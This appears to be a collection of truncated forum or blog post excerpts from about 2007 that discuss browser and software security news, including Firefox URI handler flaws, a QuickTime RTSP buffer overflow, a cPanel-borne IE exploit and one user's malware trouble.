Recently, I don't know when, I realized that my browser was opening some weird pages. It would
either open to what it seemed to be a valid webpage but it always looked the same. But the contents
will be text only but always with adult related links... so I was curious but never paid any
attention since these pages were coming up only when I mistyped an URL address. But the pages
popped up were always the same and it got me curious. So I started to click on refersh and see how
far it will lead. At the end, it led to a site called "SearchAtHand.com" After few minutes ...

QUOTE Many people are switching from Internet Explorer to alternative browsers such as Firefox
and Safari. Though that might make them feel more secure, the shift has also opened new doors for
bad guys. Case in point: We have no IE bugs to report this month, but both Firefox and Safari have
been hit hard. So forget the idea that just because you've switched to a new browser,
you're magically safer. You may be for a time, but to stay safe with any software, you need to
keep current with fixes. Firefox Holes In a somewhat dubious recognition of Firefox's...

A pair days ago I read this new on Slashdot: cPanel Exploit Used to Circulate IE Exploit
QUOTE "In a dangerous combination of unpatched exploits, hackers have used a previously
undiscovered security hole in cPanel to hack the servers of a hosting company and use hundreds of
hijacked sites to infect Internet Explorer users with malware using the unpatched VML exploit.
cPanel, whose hosting automation software is used by many large hosting companies, has issued a fix.
It's a local exploit, meaning the attacker must control a cPanel account on the target hosti...

OH NO!!! (sarcasm there) QUOTE A flaw in the way the Firefox and Opera browsers
handle an image file could allow an attacker to see what Web sites a person has visited. The
problem concerns how the two browsers handle a ".BMP," or bitmap, image file, according to an
advisory written by Gynvael Coldwind of Vexillium.org, who posted a video illustrating the problem.
A malicious bitmap file can be created that pulls other information from the browsers' memory.
Some of the information that can be captured is random, but at other times could be valuable...

On monday it was reported that Quicktime 7.2 and 7.3 versions come with a new exploit in which
malware could on to a person's computer through streaming videos. They only mention that XP and
Vista are the only affect systems and no word came about on the Mac operating system. They mention
that a buffer overflow bug was made in which it "contains a stack buffer overflow vulnerability in
the way Quicktime handles the RTSP Content-Type header." For those who don't know what RTSP is,
RTSP is the Real-Time Streaming Protocol which apple uses for its QuickTime softw...

Well it seems firefox flaws are becoming a popular now, the two flaws that have been reported all
follow the same protocol that had posted about before; QUOTE The flaw lies in Firefox's URL
handler component.. Like the first flaw, this one could be exploited by attackers to launch
programs on the victim's PC without authorization, said Tyler Reguly, a security research
engineer at nCircle Network Security Inc. "They're both related to the URL handling process," he
said "It's just different errors within that handling process." So far it would se...

Well it has finally happen and strangely enough I didn't really think about it until now, but it
seems a security team found a very high level bug that requires both Internet Explorer 7 and
Modzilla Fire Fox. This is the jist of the bug; QUOTE The root of the matter is a Firefox
uniform resource identifier (URI) that allows Web sites to force Firefox to launch with the
"firefoxurl://" URI, Secunia reported. The way in which the URI handler is registered by Firefox
causes any parameter to be passed from IE (or another application) to Firefox when the "firefoxurl...

I was able to browse around this and found it interesting since this vunerability is found in 4

Windows has been acting strangely by now, it freezes/clogs badly, I can't use Opera, MF or

That folder, most of the files were deleted by me. I consulted my friend by half-screwed MSN, he
said I "effed me up the arse" by doing that. He recommended me backing up and formatting. I never
did that before so I think it will be most-likely half-impossible for me. And as I d...

A friend of mine was temporarily banned from the computers at my school a while ago after he
accidentially found a way into Task Manager, which is disabled on our network. He has had his
permissions restored now, but has no idea why he got banned in the first place. However, recently he
explained what he did to me, and I tested it. I soon found out that, by accident, we had both
discovered that there is a Security Exploit in networking Windows XP Professional. The exploit is
to do with network permissions. Windows XP recieves the permission data from the network as soon...

To some this may seem a bit late. Firefox has released a new version that covers several critical
issues, and adds more stability. It is a wonderful alternative to Internet Exploer, and offers (in
my opinion) more security because it blocks most spyware. Article:
